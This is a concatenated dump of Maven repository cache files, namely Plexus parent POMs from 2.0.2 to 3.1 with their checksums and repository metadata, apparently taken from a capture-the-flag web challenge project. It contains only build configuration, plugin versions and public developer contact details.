Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé Boutemy hboutemy hboutemy@codehaus.org Developer Oleg Gusakov oleg olegy@codehaus.org Developer junit junit 3.8.2 test scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.2 scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.2 http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.2 Codehaus http://www.codehaus.org/ org.apache.maven.plugins maven-clean-plugin 2.2 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.4 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-jar-plugin 2.2 org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.4.3 maven-release-plugin 2.0-beta-7 deploy true org.apache.maven.plugins maven-resources-plugin 2.3 ${project.build.sourceEncoding} org.apache.maven.plugins maven-site-plugin 2.0-beta-7 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.4.3 release org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.2/plexus-2.0.2.pom.sha1 ================================================ b6c97d19090baa51e953fb782e3986b068fb450f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:04 CST 2018 plexus-2.0.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.3/plexus-2.0.3.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom 2.0.3 Plexus The Plexus project provides a full software stack for creating and executing software projects. http://plexus.codehaus.org/ 2001 Codehaus http://www.codehaus.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé Boutemy hboutemy hboutemy@codehaus.org Developer Oleg Gusakov oleg olegy@codehaus.org Developer Vincent Siveton vsiveton vsiveton@codehaus.org Developer Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user user@plexus.codehaus.org Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev dev@plexus.codehaus.org Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.3 scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.3 http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.3 JIRA http://jira.codehaus.org/browse/PLX mail
      dev@plexus.codehaus.org
      plexus-releases Plexus Release Repository http://oss.repository.sonatype.org/content/repositories/plexus-releases plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus UTF-8 http://oss.repository.sonatype.org/content/repositories/plexus-snapshots junit junit 3.8.2 test org.apache.maven.plugins maven-clean-plugin 2.2 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.4 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-jar-plugin 2.2 org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.4.3 maven-release-plugin 2.0-beta-9 deploy true org.apache.maven.plugins maven-resources-plugin 2.3 ${project.build.sourceEncoding} org.apache.maven.plugins maven-site-plugin 2.0.1 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.4.3 maven-project-info-reports-plugin 2.1.2 reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.1.2 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.2 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml org.codehaus.mojo taglist-maven-plugin 2.2 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 ${project.build.sourceEncoding} http://java.sun.com/j2ee/1.4/docs/api http://junit.sourceforge.net/javadoc/ javadoc test-javadoc release org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.3/plexus-2.0.3.pom.sha1 ================================================ bf472ec56fe823f1b4b997fe5b9396490ae9b1dc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:55 CST 2018 plexus-2.0.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.5/plexus-2.0.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom 2.0.5 Plexus The Plexus project provides a full software stack for creating and executing software projects. http://plexus.codehaus.org/ 2001 Codehaus http://www.codehaus.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé Boutemy hboutemy hboutemy@codehaus.org Developer Oleg Gusakov oleg olegy@codehaus.org Developer Vincent Siveton vsiveton vsiveton@codehaus.org Developer Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user user@plexus.codehaus.org Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev dev@plexus.codehaus.org Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.5 scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.5 http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.5 JIRA http://jira.codehaus.org/browse/PLX mail
      dev@plexus.codehaus.org
      plexus-releases Plexus Release Repository http://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus UTF-8 http://oss.repository.sonatype.org/content/repositories/plexus-snapshots junit junit 3.8.2 test org.apache.maven.plugins maven-clean-plugin 2.4 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.apache.maven.plugins maven-install-plugin 2.3 org.apache.maven.plugins maven-jar-plugin 2.2 org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.5.1 maven-release-plugin 2.0-beta-9 deploy false -Pplexus-release org.apache.maven.plugins maven-resources-plugin 2.4.1 org.apache.maven.plugins maven-site-plugin 2.1 org.apache.maven.plugins maven-source-plugin 2.1.1 org.apache.maven.plugins maven-surefire-plugin 2.4.3 maven-project-info-reports-plugin 2.1.2 reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.1.2 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.2 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 http://java.sun.com/j2ee/1.4/docs/api http://junit.sourceforge.net/javadoc/ javadoc test-javadoc plexus-release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign-artifacts sign org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin 2.1 false attach-descriptor attach-descriptor
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.5/plexus-2.0.5.pom.sha1 ================================================ c37b8e9129d8860dfdea27da2c5407de7c6faba7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:37 CST 2018 plexus-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.6/plexus-2.0.6.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom 2.0.6 Plexus The Plexus project provides a full software stack for creating and executing software projects. http://plexus.codehaus.org/ 2001 Codehaus http://www.codehaus.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé Boutemy hboutemy hboutemy@codehaus.org Developer Oleg Gusakov oleg olegy@codehaus.org Developer Vincent Siveton vsiveton vsiveton@codehaus.org Developer Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user user@plexus.codehaus.org Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev dev@plexus.codehaus.org Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.6 scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.6 http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.6 JIRA http://jira.codehaus.org/browse/PLX mail
      dev@plexus.codehaus.org
      plexus-releases Plexus Release Repository http://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus UTF-8 http://oss.repository.sonatype.org/content/repositories/plexus-snapshots junit junit 3.8.2 test org.apache.maven.plugins maven-clean-plugin 2.4 org.apache.maven.plugins maven-compiler-plugin 2.1 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-gpg-plugin 1.0 org.apache.maven.plugins maven-install-plugin 2.3 org.apache.maven.plugins maven-jar-plugin 2.3 org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.5.1 maven-release-plugin 2.0 deploy false -Pplexus-release org.apache.maven.plugins maven-resources-plugin 2.4.2 org.apache.maven.plugins maven-site-plugin 2.1 org.apache.maven.plugins maven-source-plugin 2.1.1 org.apache.maven.plugins maven-surefire-plugin 2.5 maven-project-info-reports-plugin 2.1.2 reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.1.2 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.2 http://svn.apache.org/repos/asf/maven/plugins/tags/maven-checkstyle-plugin-2.2/src/main/resources/config/maven_checks.xml http://svn.codehaus.org/plexus/pom/trunk/src/main/resources/config/plexus-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 http://java.sun.com/j2ee/1.4/docs/api http://junit.sourceforge.net/javadoc/ javadoc test-javadoc plexus-release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign-artifacts sign org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin 2.1 false attach-descriptor attach-descriptor
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.6/plexus-2.0.6.pom.sha1 ================================================ da193f47e5ce5a2cb85931851b3698e61cde8227 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:57 CST 2018 plexus-2.0.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.7/plexus-2.0.7.pom ================================================ 4.0.0 org.codehaus.plexus plexus pom 2.0.7 Plexus The Plexus project provides a full software stack for creating and executing software projects. http://plexus.codehaus.org/ 2001 Codehaus http://www.codehaus.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé Boutemy hboutemy hboutemy@codehaus.org Developer Oleg Gusakov oleg olegy@codehaus.org Developer Vincent Siveton vsiveton vsiveton@codehaus.org Developer Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user user@plexus.codehaus.org Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev dev@plexus.codehaus.org Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm scm:svn:http://svn.codehaus.org/plexus/pom/tags/plexus-2.0.7 scm:svn:https://svn.codehaus.org/plexus/pom/tags/plexus-2.0.7 http://fisheye.codehaus.org/browse/plexus/pom/tags/plexus-2.0.7 JIRA http://jira.codehaus.org/browse/PLX mail
      dev@plexus.codehaus.org
      plexus-releases Plexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus UTF-8 https://oss.sonatype.org/content/repositories/plexus-snapshots junit junit 3.8.2 test org.apache.maven.plugins maven-clean-plugin 2.4.1 org.apache.maven.plugins maven-compiler-plugin 2.3.1 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-gpg-plugin 1.1 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-jar-plugin 2.3.1 org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.6 maven-release-plugin 2.0 deploy false -Pplexus-release org.apache.maven.plugins maven-resources-plugin 2.4.3 org.apache.maven.plugins maven-site-plugin 2.1 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-surefire-plugin 2.5 maven-project-info-reports-plugin 2.1.2 reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.1.2 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.2 http://svn.apache.org/repos/asf/maven/plugins/tags/maven-checkstyle-plugin-2.2/src/main/resources/config/maven_checks.xml http://svn.codehaus.org/plexus/pom/trunk/src/main/resources/config/plexus-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 http://java.sun.com/j2ee/1.4/docs/api http://junit.sourceforge.net/javadoc/ javadoc test-javadoc plexus-release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign-artifacts sign org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin 2.1 false attach-descriptor attach-descriptor
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.7/plexus-2.0.7.pom.sha1 ================================================ f6ee62f8157f273757b8ffda59714a6a279a174d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.0.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:50 CST 2018 plexus-3.0.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.0.1/plexus-3.0.1.pom ================================================ 4.0.0 org.sonatype.spice spice-parent 17 org.codehaus.plexus plexus pom 3.0.1 Plexus The Plexus project provides a full software stack for creating and executing software projects. http://plexus.codehaus.org/ 2001 Codehaus http://www.codehaus.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé Boutemy hboutemy hboutemy@codehaus.org Developer Oleg Gusakov oleg olegy@codehaus.org Developer Vincent Siveton vsiveton vsiveton@codehaus.org Developer Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user user@plexus.codehaus.org Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev dev@plexus.codehaus.org Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm scm:git:git@github.com:sonatype/plexus-pom.git scm:git:git@github.com:sonatype/plexus-pom.git http://github.com/sonatype/plexus-pom JIRA http://jira.codehaus.org/browse/PLX mail
      dev@plexus.codehaus.org
      plexus-releases Plexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus UTF-8 https://oss.sonatype.org/content/repositories/plexus-snapshots junit junit 3.8.2 test org.apache.maven.plugins maven-clean-plugin 2.4.1 org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.5 1.5 org.apache.maven.plugins maven-deploy-plugin 2.6 org.apache.maven.plugins maven-gpg-plugin 1.3 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-jar-plugin 2.3.1 org.apache.maven.plugins maven-javadoc-plugin 2.8 org.apache.maven.plugins maven-plugin-plugin 2.8 maven-release-plugin 2.2.1 deploy false -Pplexus-release org.apache.maven.plugins maven-resources-plugin 2.5 org.apache.maven.plugins maven-site-plugin 3.0 org.apache.maven.wagon wagon-webdav-jackrabbit 1.0 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-surefire-plugin 2.9 org.apache.maven.plugins maven-project-info-reports-plugin 2.4 index summary modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.4 index summary modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management org.apache.maven.plugins maven-surefire-report-plugin 2.9 org.apache.maven.plugins maven-checkstyle-plugin 2.6 config/maven_checks.xml https://raw.github.com/sonatype/plexus-pom/master/src/main/resources/config/plexus-header.txt org.apache.maven.plugins maven-pmd-plugin 2.5 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-jxr-plugin 2.2 org.apache.maven.plugins maven-javadoc-plugin 2.8 true http://junit.sourceforge.net/javadoc/ javadoc test-javadoc plexus-release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign-artifacts sign org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.0.1/plexus-3.0.1.pom.sha1 ================================================ 9ae573423303ba80844ed564756442d32b97cc33 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:24 CST 2018 plexus-3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.1/plexus-3.1.pom ================================================ 4.0.0 org.sonatype.spice spice-parent 17 org.codehaus.plexus plexus pom 3.1 Plexus The Plexus project provides a full software stack for creating and executing software projects. http://plexus.codehaus.org/ 2001 Codehaus http://www.codehaus.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé 